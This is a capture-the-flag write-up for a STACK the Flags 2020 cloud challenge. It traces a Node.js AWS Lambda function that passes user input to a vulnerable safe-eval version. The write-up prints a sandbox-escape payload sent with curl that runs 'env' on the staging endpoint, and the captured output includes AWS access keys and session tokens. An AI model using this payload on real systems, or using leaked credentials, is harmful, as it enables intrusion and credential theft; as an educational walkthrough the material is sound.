Here’s a write-up on a cloud challenge titled Hold the Line! Perimeter Defences Doing It's Work!
which I solved in STACK the Flags 2020 CTF organized by Government Technology Agency of Singapore (GovTech)’s Cyber Security Group (CSG). Unsurprisingly, there were quite a number of solves since the challenge is rather simple and fairly straightforward.
Those that had analysed the arbitrary JavaScript code injection vulnerability in Bassmaster v1.5.1 (CVE-2014-7205) as part of Advanced Web Attacks and Exploitation (AWAE) course/Offensive Security Web Expert (OSWE) certification will definitely find the injection vector somewhat familiar for this challenge.
This challenge is written by Tan Kee Hock from GovTech’s CSG :)
Hold the Line! Perimeter Defences Doing It’s Work! Cloud Challenge
Description:
Apparently, the lead engineer left the company (“Safe Online Technologies”). He was a talented engineer and worked on many projects relating to Smart City. He goes by the handlec0v1d-agent-1
. Everyone didn’t know what this meant until COViD struck us by surprise. We received a tip-off from his colleagues that he has been using vulnerable code segments in one of a project he was working on! Can you take a look at his latest work and determine the impact of his actions! Let us know if such an application can be exploited!Tax Rebate Checker -
http://lcyw7.tax-rebate-checker.cf/
Introduction
Let’s start by visiting the challenge site.
Examining the client-side source code, we can see that the main JavaScript file loaded is http://lcyw7.tax-rebate-checker.cf/static/js/main.a6818a36.js
, which appears to be webpack-ed. Luckily for us, the source mapping file is also available to us at http://lcyw7.tax-rebate-checker.cf/static/js/main.a6818a36.js.map
.
You may have heard of Webpack Exploder by @spaceraccoonsec which helps to unpack the source code of the React Webpack-ed application, but are you aware that Google Chrome’s Developer Tools (Chrome DevTools) supports unpacking of Webpack-ed applications out of the box too?
Using Chrome DevTools, we can inspect the original unpacked source files by navigating to the Sources
Tab in the top navigation bar, then click on the webpack://
pseudo-protocol in the left sidebar as such:
The source code for index.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import React from 'react';
import ReactDOM from 'react-dom';
import axios from 'axios';
class MyForm extends React.Component {
constructor() {
super();
this.state = {
loading : false,
message : ''
};
this.onInputchange = this.onInputchange.bind(this);
this.onSubmitForm = this.onSubmitForm.bind(this);
}
renderMessage() {
return this.state.message;
}
renderLoading() {
return 'Please wait...';
}
onInputchange(event) {
this.setState({
[event.target.name]: event.target.value
});
}
onSubmitForm() {
let context = this;
this.setState({
loading : true,
message : "Loading..."
})
// any changes, please fix at this [https://github.com/c0v1d-agent-1/tax-rebate-checker]
axios.post('https://cors-anywhere.herokuapp.com/https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker', {
age: btoa(this.state.age),
salary: btoa(this.state.salary)
})
.then(function (response) {
context.setState({
loading : false,
message : "You will get (SGD) $" + Math.ceil(response.data.results) + " off your taxes!"
})
})
.catch(function (error) {
console.log(error);
});
}
render() {
return (
<div>
<div>
<label>
Annual Salary : <input name="salary" type="number" value={this.state.salary} onChange={this.onInputchange}/>
</label>
</div>
<div>
<label>
Age : <input name="age" type="number" value={this.state.age} onChange={this.onInputchange} />
</label>
</div>
<div>
<button onClick={this.onSubmitForm}>Submit</button>
</div>
<br></br>
<p>{this.state.loading ? this.renderLoading() : this.renderMessage()}</p>
</div>
);
}
}
ReactDOM.render(<MyForm />, document.getElementById('root'));
We can see that there is a comment pointing to a GitHub Repository at https://github.com/c0v1d-agent-1/tax-rebate-checker
.
Even if this comment is not provided, we will still be able to find this repository easily by:
- Searching for
c0v1d-agent-1
on GitHub - Searching for
tax-rebate-checker
on GitHub
Back to the source code of the React application, we also see the following code:
1
2
3
4
axios.post('https://cors-anywhere.herokuapp.com/https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker', {
age: btoa(this.state.age),
salary: btoa(this.state.salary)
})
We discover the use of cors-anywhere
proxy, a service which basically helps to relay the request to the target URL and adding Cross-Origin Resource Sharing (CORS) headers. In other words, the target URL is https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker
.
Examining the target URL carefully, we can observe that it is a REST API in Amazon API Gateway. Amazon API Gateway is also often used with AWS Lambda, which is something worth noting before we move on to explore what’s in the GitHub repository.
Analysing GitHub Repository
At https://github.com/c0v1d-agent-1/tax-rebate-checker
, we see a Node.js
application.
The default README
mentions Deploy to AWS Lambda service
, which is what we noted earlier on already.
Let’s look at the source code of the application. The source code of index.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
'use strict';
var safeEval = require('safe-eval')
exports.handler = async (event) => {
let responseBody = {
results: "Error!"
};
let responseCode = 200;
try {
if (event.body) {
let body = JSON.parse(event.body);
// Secret Formula
let context = {person: {code: 3.141592653589793238462}};
let taxRebate = safeEval((new Buffer(body.age, 'base64')).toString('ascii') + " + " + (new Buffer(body.salary, 'base64')).toString('ascii') + " * person.code",context);
responseBody = {
results: taxRebate
};
}
} catch (err) {
responseCode = 500;
}
let response = {
statusCode: responseCode,
headers: {
"x-custom-header" : "tax-rebate-checker"
},
body: JSON.stringify(responseBody)
};
return response;
};
Looks like our input supplied as a JSON object containing age
and salary
are being safeEval()
.
The safe-eval
package is known to be vulnerable in the past, so let’s also check the package.json
file to see what version of safe-eval
is being used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"name": "pension-shecker-lambda",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"safe-eval": "^0.3.0"
}
}
Indeed, the application uses safe-eval
v0.3.0, which is a vulnerable version.
Crafting the Exploit Payload
Let’s examine the proof-of-concept exploit script for CVE-2017-16088 for bypassing the safe-eval
sandbox:
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");
This seems to return the process
global object which allows us to control the current Node.js process.
Even though safe-eval
prevents use of require()
directly, we can bypass this restruction by using process.mainModule.require()
, which provides an alternative way to retrieve require.main
.
Now that we have a good idea on how to perform remote code execution on the AWS Lambda function, let’s also take a closer further at the suspicious GitHub issue at https://github.com/c0v1d-agent-1/tax-rebate-checker/issues/1
One of the libraries used by the function was vulnerable.
Resolved by attaching a WAF to theprod
deployment.
WAF will not to be attachedstaging
deployment there is no real impact.
Recall that the application at http://lcyw7.tax-rebate-checker.cf/
issues requests to https://cors-anywhere.herokuapp.com/https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker
, which effectively forwards incoming requests to https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker
– the prod
stage!
If there’s a WAF on the prod
stage, perhaps we can first target the non-protected staging
deployment first and attempt to bypass the WAF if need be.
Before we can try to obtain remote code execution on the AWS Lambda function instance, we need to correctly format our input to the server.
As discussed previously, the Tax Rebate Checker
application accepts a JSON input with both age
and salary
Base64-encoded.
Now, let’s use curl
to run the AWS Lambda function on the staging
deployment to try to obtain the environment variables set in the AWS Lambda function instance:
$ curl -X POST \
-H 'Content-Type: application/json' \
https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/staging/tax-rebate-checker \
--data '{"age":"'$(printf "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('env').toString()" | base64 -w 0)'","salary":"'$(printf 1 | base64)'"}'
{"results":"AWS_LAMBDA_FUNCTION_VERSION=$LATEST\nflag=St4g1nG_EnV_I5_th3_W34k3$t_Link\nAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjENj//////////wEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgDbiXQPR7pS/1Jlq8+CvWJEvBWEdzDgMZgmKXB6MbNzUCIFTQNbDFdxZ0qdOmTskWzFOeLpH12FinODzQ8XWo7CdNKtEBCHEQABoMNjQyOTk4NDY5NzM2IgzR7/iDouxfR0H3mQkqrgFHKpR/iXFoOCMF3wtocpFugLFNFVy+LMmgO6JFK56vSGq6zGwzepfYZTV7vLvRauJG9Y9e4o10bLznWugZt3RyH4cWvvHURygQsI5x8BRFMHtqNna7Q/lSWUJIancjx07sHZimJzdRO1SJu5PTu9wI2NFCW6uSKq6z/hHf0Ed8uCMAnkOtGHuY7jfoC2tWNPlByvrEW2mQzBFFgj2DTL/GdFSpS351lFD35am7nVQwibHH/gU64QHk9LffR6ZXw66N/7g5BRYhWGdKyz53O04vrFmttDusAhofGi8T74C1/3x096S1NtASZfVj3YmDwMYOQ1j4D6wEp8CUh5vc7FhQr9l9E8Zdvt78jqyx8l4Wto3UMirBgJDtfEqq5TbcaDP9FM9l1dInGC9Ch6YLJHIRl9Lwctj0s8pveOj0FTN29/PhpkHGWzl4SYSHKOAj/7h1k2J8Sx1JdtyDTKu+X6ACp1uxwDK2k2W2bnrCGVQ/3C2dTzoAINtX9RSk8DcBczXM75/cSi+3u+ClT3SMlBVzUmlPsm90G7U=\nAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/tax-rebate-checker\nLAMBDA_TASK_ROOT=/var/task\nLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib\nAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\nAWS_LAMBDA_LOG_STREAM_NAME=2020/12/10/[$LATEST]36472aa2e8e049cfad80aec03f1cae7f\nAWS_EXECUTION_ENV=AWS_Lambda_nodejs12.x\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000\nAWS_LAMBDA_FUNCTION_NAME=tax-rebate-checker\nPATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin\nAWS_DEFAULT_REGION=ap-southeast-1\nPWD=/var/task\nAWS_SECRET_ACCESS_KEY=drKOGJQgV4HeWciBrP9CgYyAoJrdoFtTHwg0X//f\nLANG=en_US.UTF-8\nLAMBDA_RUNTIME_DIR=/var/runtime\nAWS_LAMBDA_INITIALIZATION_TYPE=on-demand\nAWS_REGION=ap-southeast-1\nTZ=:UTC\nNODE_PATH=/opt/nodejs/node12/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task\nAWS_ACCESS_KEY_ID=ASIAZLNNSARUIMCNBHX3\nSHLVL=1\n_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2\n_AWS_XRAY_DAEMON_PORT=2000\n_X_AMZN_TRACE_ID=Root=1-5fd1d8f0-7f0800a731b13cf00a3c8db7;Parent=4c8bd2bd54f1fb14;Sampled=0\nAWS_XRAY_CONTEXT_MISSING=LOG_ERROR\n_HANDLER=index.handler\nAWS_LAMBDA_FUNCTION_MEMORY_SIZE=128\n_=/usr/bin/env\n3.141592653589793"}
Note: The -w 0
arguments for base64
command is required to disable line-wrapping and introducing newlines in the input.
Awesome! We found the flag
environment set to St4g1nG_EnV_I5_th3_W34k3$t_Link
, and we can get the final flag by wrapping it with the flag format:
govtech-csg{St4g1nG_EnV_I5_th3_W34k3$t_Link}